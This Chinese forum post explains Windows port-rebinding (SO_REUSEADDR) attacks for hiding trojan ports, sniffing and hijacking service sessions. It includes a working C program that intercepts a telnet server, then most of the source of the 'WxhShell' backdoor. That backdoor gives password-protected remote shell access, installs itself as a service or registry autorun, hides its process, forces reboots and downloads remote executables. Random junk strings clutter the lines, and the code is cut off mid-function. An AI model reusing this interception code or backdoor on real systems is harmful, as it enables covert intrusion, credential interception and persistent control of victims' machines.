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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hH_\C.bL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nG~^-c+  
n K6(0?/  
  saddr.sin_family = AF_INET; KZ 4G"  
g3TqTs  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); uJU;C.LX  
+Uxt xl'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); PQXCT|iJ  
an)Z.x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1pM>-"a8j  
F7\nG}#s  
  这意味着什么?意味着可以进行如下的攻击: 7_`_iymR  
>6gduD!6I  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lyw)4;wt\  
~\u~>mtchu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9#1Jie$  
G8lTIs4u;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =8A L>:_  
<])kO`+G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z_%}F':  
/ mwsF]Y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J<MuWgx&  
KJW^pAj$B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jdd3[  
A'suZpL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /X;! F>  
7ZFd;-  
  #include +,UuJ6[n  
  #include En ]"^*  
  #include j`QXl  
  #include     Sr+ &  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %Mf3OtPiJW  
  int main() TNlS2b1  
  { y$+_9VzYB  
  WORD wVersionRequested; q3ebps9^  
  DWORD ret; wDKA1i%G  
  WSADATA wsaData;  h 3V; J  
  BOOL val; >S@><[C  
  SOCKADDR_IN saddr; Q&vU|y  
  SOCKADDR_IN scaddr; emG1Wyl  
  int err; o$Z]qhq  
  SOCKET s; O +Xu ?W]  
  SOCKET sc; |`O210B@  
  int caddsize; EO\- J-nM  
  HANDLE mt; 6 - IThC  
  DWORD tid;   H={5>;8G  
  wVersionRequested = MAKEWORD( 2, 2 ); 0}- MWbG  
  err = WSAStartup( wVersionRequested, &wsaData ); RY]jY | E  
  if ( err != 0 ) { q U^`fIa  
  printf("error!WSAStartup failed!\n"); ' pfkbmJ  
  return -1; },,K6*P  
  } }@vf=jm>  
  saddr.sin_family = AF_INET; NW~`oc)NS  
   .e|\Bf0P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 UQq Qim  
6OZ n7:)Y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S+u@ Q}  
  saddr.sin_port = htons(23); KP CZiu7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %Vhj<gN  
  { Thuwme  
  printf("error!socket failed!\n"); 9G)fJr  
  return -1; xpWY4Q  
  } &G_XgQsg{  
  val = TRUE; e|4U2\&3y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 i}~U/.P   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \N.Bx  
  { L DdgI  
  printf("error!setsockopt failed!\n"); ?zK\!r{  
  return -1; }VqCyJu&{  
  } +GT"n$)+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  ?S'Wd=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .x_F4#Ka  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }T"&4Rvs2R  
v\-7sgZR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) KA elq*  
  { VujIKc#4  
  ret=GetLastError(); RC^k#+  
  printf("error!bind failed!\n"); `Gh#2 U  
  return -1; _@O.EksY3r  
  } EO"G(v  
  listen(s,2); &'c&B0j  
  while(1) >uwd3XW5  
  { *C,1 x5  
  caddsize = sizeof(scaddr); bE b+oRI  
  //接受连接请求 Ki\J)l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |\N))K-2D  
  if(sc!=INVALID_SOCKET) y~<_ux,  
  { R!2E`^{Wl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /H*n(d  
  if(mt==NULL) _aw49ag;  
  { % {A%SDh  
  printf("Thread Creat Failed!\n"); Xd'B0kQaT  
  break; t^7}j4lk  
  } p;)@R$*  
  } VTn6@z_ x  
  CloseHandle(mt); vO8CT-)  
  } Oo x,4 &  
  closesocket(s); Duq.`XO  
  WSACleanup(); $;j{?dvm.  
  return 0; TTo5"r9I 8  
  }   [ip}f4K  
  DWORD WINAPI ClientThread(LPVOID lpParam) TchByN6oN<  
  { |qtZb}"|  
  SOCKET ss = (SOCKET)lpParam; J+YoAf`hi  
  SOCKET sc; #X*=oG  
  unsigned char buf[4096]; GoPK. E$  
  SOCKADDR_IN saddr; 2 5I a  
  long num; G,XUMZ  
  DWORD val; %[fZ@!B  
  DWORD ret; ?A~a}bFZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gk4DoOj#P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .}3K9.hkr  
  saddr.sin_family = AF_INET; K&;/hdS=F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #fxdZm,  
  saddr.sin_port = htons(23); i"#zb&~nF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k];fQ7}m<0  
  { (ljoD[kZ  
  printf("error!socket failed!\n"); (w?W=guHu  
  return -1; zI'c'X1,  
  } D "X`qF6U7  
  val = 100; e.]k4K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :YNXS;>)!  
  { :@J.!dokF  
  ret = GetLastError(); +6f[<^K#  
  return -1; z}2  
  } CwsC)]{/o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L%I8no-Q  
  { /086qB|  
  ret = GetLastError(); yVH>Q-{  
  return -1; Zmy:Etqi  
  } ,pa=OF  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d2*uY.,  
  { J;Eg"8x]  
  printf("error!socket connect failed!\n"); g>-u9%aa  
  closesocket(sc); Yn8aTg[J  
  closesocket(ss); !6eF8T  
  return -1; KHoDD=O  
  } "@rXN"4  
  while(1) m =%yZ2F;  
  { mh8)yy5\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;b^"b{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FyA0"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !}L cJ  
  num = recv(ss,buf,4096,0); }?[a>.]u  
  if(num>0) (BY5omlh  
  send(sc,buf,num,0); pt~b=+bBm  
  else if(num==0) ]Yt,|CPe2  
  break; N|asr,  
  num = recv(sc,buf,4096,0); Hw~?%g:<S  
  if(num>0) g I4Rku  
  send(ss,buf,num,0); Fd>epvR  
  else if(num==0) w'<"5F`  
  break; )OV2CP  
  } Hq "l`  
  closesocket(ss); :xsNn55b  
  closesocket(sc); ihopQb+k^m  
  return 0 ; D@yu2}F{IY  
  } K7]QgfpSZ  
+P;&/z8i*g  
{GS$7n  
========================================================== P]`m5 N  
L*1yK*  
下边附上一个代码,,WXhSHELL </|m^$v  
}N W01nee  
========================================================== LRv[,]b  
P#qQde/y  
#include "stdafx.h" '~[JV>5  
%Su,  
#include <stdio.h> >npFg@A  
#include <string.h> @xN)mi  
#include <windows.h> $WG<  
#include <winsock2.h> :PQvt/-'(D  
#include <winsvc.h> zl!Y(o!@  
#include <urlmon.h> AR7]~+ X  
*hkNJ  
#pragma comment (lib, "Ws2_32.lib") zl@hg<n  
#pragma comment (lib, "urlmon.lib") Wh1'?#  
iKEHwm  
#define MAX_USER   100 // 最大客户端连接数 U].3vju`c  
#define BUF_SOCK   200 // sock buffer oPR?Ar  
#define KEY_BUFF   255 // 输入 buffer SJ8|~,vL  
Oi\,clR^[o  
#define REBOOT     0   // 重启 G*rlU  
#define SHUTDOWN   1   // 关机 1g_Dkv|D  
y!jq!faqt  
#define DEF_PORT   5000 // 监听端口 D' oy% 1Q}  
n{xL1A=9  
#define REG_LEN     16   // 注册表键长度 ;7N~d TBQ  
#define SVC_LEN     80   // NT服务名长度 "$PX [:  
@JpkG%eK  
// 从dll定义API E>k!d'+tb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *[b22a4H(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .@3bz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); obSLy Ed  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GJn ~x  
?TY/'-M5  
// wxhshell配置信息 ;BYv&(#u1q  
struct WSCFG { o/mGd~  
  int ws_port;         // 监听端口 #iP5@:!Wm~  
  char ws_passstr[REG_LEN]; // 口令 KU (g Zy  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5DnX8t+d  
  char ws_regname[REG_LEN]; // 注册表键名 poVtg}n  
  char ws_svcname[REG_LEN]; // 服务名 lIgAc!q(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eX <@qa4<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lH%-#2]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OjfumZL#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 03a<Cd/S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z*G(AcS)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2t`d. s=  
R![4|FR  
}; >2dF^cDE-3  
==Bxv:6  
// default Wxhshell configuration ,_RPy2N  
struct WSCFG wscfg={DEF_PORT, Vv3:x1S  
    "xuhuanlingzhe", =;y(b~  
    1, x aW9Sj0ZM  
    "Wxhshell", Qs;MEt1  
    "Wxhshell", QLOcgU^  
            "WxhShell Service", Q'Vejz/  
    "Wrsky Windows CmdShell Service", =Bb/Y`Q  
    "Please Input Your Password: ", TqTz  
  1, n$y@a? al  
  "http://www.wrsky.com/wxhshell.exe", ::8c pUc`f  
  "Wxhshell.exe" QW_W5|_  
    }; #wfb-`,5&9  
{=<m^ 5b9  
// 消息定义模块 "wj-Qgz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W,ik ;P\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9\KMU@Ne  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `nEe-w^9)I  
char *msg_ws_ext="\n\rExit."; w~}.c:B  
char *msg_ws_end="\n\rQuit."; 6'qu[ ~ }Q  
char *msg_ws_boot="\n\rReboot..."; OmAa$L,'w  
char *msg_ws_poff="\n\rShutdown..."; AIw<5lW  
char *msg_ws_down="\n\rSave to "; sL\W6ej  
fQ_(2+ FM  
char *msg_ws_err="\n\rErr!"; dIOi P\^  
char *msg_ws_ok="\n\rOK!"; n0tVAH'>  
+z?SKc  
char ExeFile[MAX_PATH]; H:_R[u4r  
int nUser = 0; c,_??8  
HANDLE handles[MAX_USER]; GNab\M.  
int OsIsNt; IJv+si:k  
0=V -{  
SERVICE_STATUS       serviceStatus; d{:0R9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aF%V  
f'%Pkk  
// 函数声明 !7jVKI80  
int Install(void); dI) 9@UL  
int Uninstall(void); X^9eCj;c  
int DownloadFile(char *sURL, SOCKET wsh); &M*f4PeXb  
int Boot(int flag); eD?f|bif  
void HideProc(void); &AhkP=Yw  
int GetOsVer(void); _"G./X  
int Wxhshell(SOCKET wsl); U['|t<^uf  
void TalkWithClient(void *cs); hLF;MH@  
int CmdShell(SOCKET sock); B):hm  
int StartFromService(void); {`=k$1  
int StartWxhshell(LPSTR lpCmdLine); y$U(oIU>  
FgTWym_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]Ofs, U^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Pj{Y  
22FHD4  
// 数据结构和表定义 E>Lgf&R#W  
SERVICE_TABLE_ENTRY DispatchTable[] = mk]8}+^.  
{ BSHtoD@e7  
{wscfg.ws_svcname, NTServiceMain}, C] >?YR4  
{NULL, NULL} %#iu  
}; %)p?&_  
SCo;Ek  
// 自我安装 (.N!(;G  
int Install(void) EiCEB;*z|d  
{ L{Kl!   
  char svExeFile[MAX_PATH]; x f<wM]&  
  HKEY key; sX,S]:X  
  strcpy(svExeFile,ExeFile); %2^wyVkq:  
?OF9{$m3?  
// 如果是win9x系统,修改注册表设为自启动 vx}W.6C}  
if(!OsIsNt) { *5d6Q   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W?X3 :1c9:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j-TRa,4bN  
  RegCloseKey(key); #gSLFM{p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <Xl/U^B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qUKSo9  
  RegCloseKey(key); QZv}\C-c  
  return 0; /[+%<5s  
    } y{Vh?Z<E  
  } SmVL?wf  
} B<oBo&uA  
else { ^vha4<'-qG  
e]-%P(}Z  
// 如果是NT以上系统,安装为系统服务 oUx%ra{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0Ait7`  
if (schSCManager!=0) M*2 Nq=3  
{ W$Sc@!M3{  
  SC_HANDLE schService = CreateService MZ"|Jn  
  ( s"B+),Jod  
  schSCManager, )%vnl~i!  
  wscfg.ws_svcname, #dDM "s  
  wscfg.ws_svcdisp, lGpci  
  SERVICE_ALL_ACCESS, jH?!\F2)+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ED^0t  
  SERVICE_AUTO_START, aDda&RM  
  SERVICE_ERROR_NORMAL, uS7kkzt-x  
  svExeFile, _(F8}s  
  NULL, ubUVxYD?  
  NULL, 5&TH\2u  
  NULL, {fa3"k_ke  
  NULL, P$5K[Y4f  
  NULL VMH^jCFp  
  ); QJ2D C  
  if (schService!=0) ':!aFMj^  
  { e-*-91D  
  CloseServiceHandle(schService); do:IkjU~  
  CloseServiceHandle(schSCManager); C1o^$Q|j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cG,zO-H  
  strcat(svExeFile,wscfg.ws_svcname); R'Uf#.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fi  [4F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %jn)=;\  
  RegCloseKey(key); \gR%PN  
  return 0; v"-K-AQjB  
    } <h%I-e6  
  } 0t7vg#v|  
  CloseServiceHandle(schSCManager); p} {H%L  
} f"SK3hI$p  
} <.hutU*1  
q![`3m-d.  
return 1; ' r/xBj[Z  
} .?kq\.rQ  
OJ r~iUr  
// 自我卸载 Y&-% N  
int Uninstall(void) nM|F MK^  
{ ~3Y4_b5E  
  HKEY key; c3.;o  
?OS0.  
if(!OsIsNt) { a'(B}B=h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u(i=-PN_<  
  RegDeleteValue(key,wscfg.ws_regname); i!EAs`$o`  
  RegCloseKey(key); {r'+icvLX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X}H?*'-  
  RegDeleteValue(key,wscfg.ws_regname); U=PTn(2  
  RegCloseKey(key); ^@^K <SVc  
  return 0; hlmeT9v{  
  } @MO/LvD  
} V.Tn1i-v  
} PU8dr|!  
else {  fj'7\[nZ  
)3k?{1:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <QD[hO^/  
if (schSCManager!=0) JJK-+a6cX  
{ Rqr>B(|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); psUT2  
  if (schService!=0) \,pObWm  
  { 'qJ0338d#U  
  if(DeleteService(schService)!=0) { \rd%$hci  
  CloseServiceHandle(schService); e~7FK_y#0  
  CloseServiceHandle(schSCManager); r1:CHIwK  
  return 0; j4I ~  
  } ~G 3txd  
  CloseServiceHandle(schService); 9BAvE\o0  
  } 8N \<o7t%  
  CloseServiceHandle(schSCManager); i` Q&5KL  
} &x7iEbRs  
} ~;#sj&~  
:Iuc H%6V  
return 1; OY8P  
} 3g3f87[  
W/g_XQ   
// 从指定url下载文件 M.+h3<%^  
int DownloadFile(char *sURL, SOCKET wsh) V-eRGSx  
{ W4UK?#S+  
  HRESULT hr; {@6:kkd  
char seps[]= "/"; Cz &3=),G  
char *token; :$0yp`k  
char *file; -V-I&sO<  
char myURL[MAX_PATH]; zwz_K!229  
char myFILE[MAX_PATH]; e;g7Ek3n  
@S:T8 *~}  
strcpy(myURL,sURL); FbRGfHL[  
  token=strtok(myURL,seps); X9ZHYlr+Q  
  while(token!=NULL) tQas_K5  
  { KWojMPs  
    file=token; RLZfXXMn  
  token=strtok(NULL,seps); |<'6rJ[i>  
  } [>t;P ,  
]|tR8`DGZ%  
GetCurrentDirectory(MAX_PATH,myFILE); ea]qX6)UZ  
strcat(myFILE, "\\"); %z=:P{0UQ  
strcat(myFILE, file); ka6E s~  
  send(wsh,myFILE,strlen(myFILE),0); %-a;HGbZn  
send(wsh,"...",3,0); `mA;1S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]6M,s0  
  if(hr==S_OK) `!$6F:d_l  
return 0; 9 p{n7.  
else z%#-2&i  
return 1; L^*f$Balz  
Bal e_s^  
} 3!$+N\ #w  
XRO(p`OE-  
// 系统电源模块 >]8(3&zd  
int Boot(int flag) s1h|/7gG  
{ 7F2 RH 8)  
  HANDLE hToken; ` Nf  
  TOKEN_PRIVILEGES tkp; I=:"Fqj'N  
dr c-5{M  
  if(OsIsNt) { TW!OE"B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tGU~G&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6 Ia HaV+P  
    tkp.PrivilegeCount = 1; +Gg|BTTL/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~_Fx2T:X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?dbSm3  
if(flag==REBOOT) { J/ Lf(;C_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L]8z6]j*  
  return 0; 4\5i}MIS0  
} heL`"Y2'y>  
else { IT{c:jo1{`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PpKjjA<  
  return 0; cc3B}^@p=  
} ]A5Y/dd  
  } GcDA0%i  
  else { L9N }lH  
if(flag==REBOOT) { n}_}#(a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2Z%n "z68  
  return 0; -gm5E qi  
} -fXQ62:S  
else { 9!(%Vf>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S3l^h4  
  return 0; ox%j_P9@:  
} AH:uG#  
} e4 ,SR(O>  
w%s];EE  
return 1; [^s;Ggi9  
} dW%t ph  
fLqjBG]<  
// win9x进程隐藏模块 T.3{}230<  
void HideProc(void) ?'Hd0)yZ  
{ LWm1j:0  
3>^]r jFw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #Tei0B7  
  if ( hKernel != NULL ) ,h*N9}xYTi  
  { rJkJ/9s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &R?`QB2/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l cHf\~  
    FreeLibrary(hKernel); ZnRT$ l O  
  } *Z^`H!&  
A&)2m  
return; cM3B5Lp  
} Q"C*j'n   
`YC7+`q  
// 获取操作系统版本 !u@P\8M}  
int GetOsVer(void) |T$?vIG[  
{ g(9*!g  
  OSVERSIONINFO winfo; uxB)dS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~abyjM  
  GetVersionEx(&winfo); X!K>.r_Dg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `(h^z>%  
  return 1; nAWb9Yk  
  else n0T|U  
  return 0; S4`X^a}pY  
} ` PQQU~^  
SMD*9&,  
// 客户端句柄模块 iuGwc086  
int Wxhshell(SOCKET wsl) P O 5Wi  
{ Qy0w'L/@  
  SOCKET wsh; erW2>^My  
  struct sockaddr_in client; D<d, 9S,)  
  DWORD myID; 8 5X}CCQ  
lUB?eQuN_  
  while(nUser<MAX_USER) &`@YdZtd"  
{ D\&S {  
  int nSize=sizeof(client); mf$YsvPq*+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YB7n}r23  
  if(wsh==INVALID_SOCKET) return 1; %L*EB;nK  
~Ym _ {  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q;8z&4s@  
if(handles[nUser]==0) ;W|NG3_y  
  closesocket(wsh); XDJE]2^52?  
else 6T'UWh0S  
  nUser++; =DJ:LmK  
  } EN\cwa#FU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }n4 T!N  
lbda/Zx  
  return 0; QF/_?Tm4  
} Hs'~) T  
n H?6o#]N  
// 关闭 socket \hgd&H0UU  
void CloseIt(SOCKET wsh) P0}{xq'k9v  
{ BYXc 'K  
closesocket(wsh); :vb5J33U  
nUser--; wDh]vH[  
ExitThread(0); TPJF?.le '  
} nK :YbLdK,  
ah:["< z<  
// 客户端请求句柄 b(GV4%  
void TalkWithClient(void *cs) dT*Yv`h  
{ H5x7)1Ir|  
Kh\ 7%>K#  
  SOCKET wsh=(SOCKET)cs; UgGa]b[9A  
  char pwd[SVC_LEN]; 'wk,t^)  
  char cmd[KEY_BUFF]; ?'6@m86d  
char chr[1]; I?}jf?!oM  
int i,j; ;,[0bmL  
v#qdq!64  
  while (nUser < MAX_USER) { 7-K8u  
mG\QF0h  
if(wscfg.ws_passstr) { 'Gl~P><e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z1Bi#/i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \L(cFjLIl  
  //ZeroMemory(pwd,KEY_BUFF); |qn 2b=  
      i=0; W:]2T p  
  while(i<SVC_LEN) { e9{0hw7  
8xO   
  // 设置超时 \,G9'c 'u  
  fd_set FdRead; 1;$XX#7o  
  struct timeval TimeOut; aYaEy(m  
  FD_ZERO(&FdRead); -i:WA^yKgw  
  FD_SET(wsh,&FdRead); ud `- w  
  TimeOut.tv_sec=8; \uOM,98xS  
  TimeOut.tv_usec=0; 9KU&M"Yq&i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sWo`dZ\6WB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4n1g4c-   
A+RW=|:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HXa[0VOx  
  pwd=chr[0]; !l0]IX` F  
  if(chr[0]==0xd || chr[0]==0xa) { TM(y%!\  
  pwd=0; Mqd'XU0L  
  break; W]oD(eZ  
  } ^<OYW|q?\r  
  i++; V+"%BrM  
    } Jr !BDg  
U S ALoe  
  // 如果是非法用户,关闭 socket ?z9!=A%<V~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =%7drBoD  
} %i9 e<.Ot  
[_'A(.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1 jidBzu<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GP%V(HhN  
,~d0R4)  
while(1) { U9:)qvMXe  
<}RI<96  
  ZeroMemory(cmd,KEY_BUFF); fIoc)T  
v@Uk% O/  
      // 自动支持客户端 telnet标准   (kLaXayn  
  j=0; $z%(He  
  while(j<KEY_BUFF) { * hs&^G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OS,!`8cw  
  cmd[j]=chr[0]; src9EeiV  
  if(chr[0]==0xa || chr[0]==0xd) { "@nH;Xlq  
  cmd[j]=0; z^QrIl/<c2  
  break; +^Xf:r` G  
  } lr>NG,N  
  j++; _Z0 .c@0  
    } N55F5  
:VT%d{Vp_  
  // 下载文件 9!_,A d;3  
  if(strstr(cmd,"http://")) { !XtG6ON=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s6|'s<x"j  
  if(DownloadFile(cmd,wsh))  :RnUNz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {6ZSf[Y6B  
  else fY00  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Km(i}:6"  
  } zzf@U&x<  
  else { E#KZZ lbx  
r W`7<3  
    switch(cmd[0]) { 5 b} w  
  dS6 $  
  // 帮助 >.Gmu  
  case '?': { uBRlvNJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _c>ww<*3  
    break; Fe0M2%e;|  
  } *-9i<@|(U^  
  // 安装 q2EDrZ  
  case 'i': { F=Bdgg9s  
    if(Install()) r/sSkF F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GI]\  
    else sv=U^xI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |jiIx5qr  
    break; \V$qAfP)  
    } \AwkK3  
  // 卸载 n2mO-ZXud  
  case 'r': { H4y9\ -  
    if(Uninstall()) ^N/d`IAjv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r ]7: ?ir  
    else X9Ch(nWX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :PT{>r[  
    break; [q?RJmB]  
    } c*ueI5i  
  // 显示 wxhshell 所在路径 f5V-;  
  case 'p': { ?9\D(V  
    char svExeFile[MAX_PATH]; /2? CB\  
    strcpy(svExeFile,"\n\r"); %'iJVFF  
      strcat(svExeFile,ExeFile); 1#=9DD$4  
        send(wsh,svExeFile,strlen(svExeFile),0); h <4`|Bg+  
    break; /i,n75/y?  
    } ?62Im^1/  
  // 重启 qLCNANWnd  
  case 'b': { 9A"s7iJ)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'SXHq>#gA  
    if(Boot(REBOOT)) o.ZR5`.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !_ W/p`Tc  
    else { CV @P +  
    closesocket(wsh); |}4\Gm  
    ExitThread(0); f}bq  
    } r84^/+"T  
    break; ~lo43$)^  
    } C+TB>~Gv`  
  // 关机 Y%?S:&GH  
  case 'd': { `q36`Wn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'f<N7%eZ  
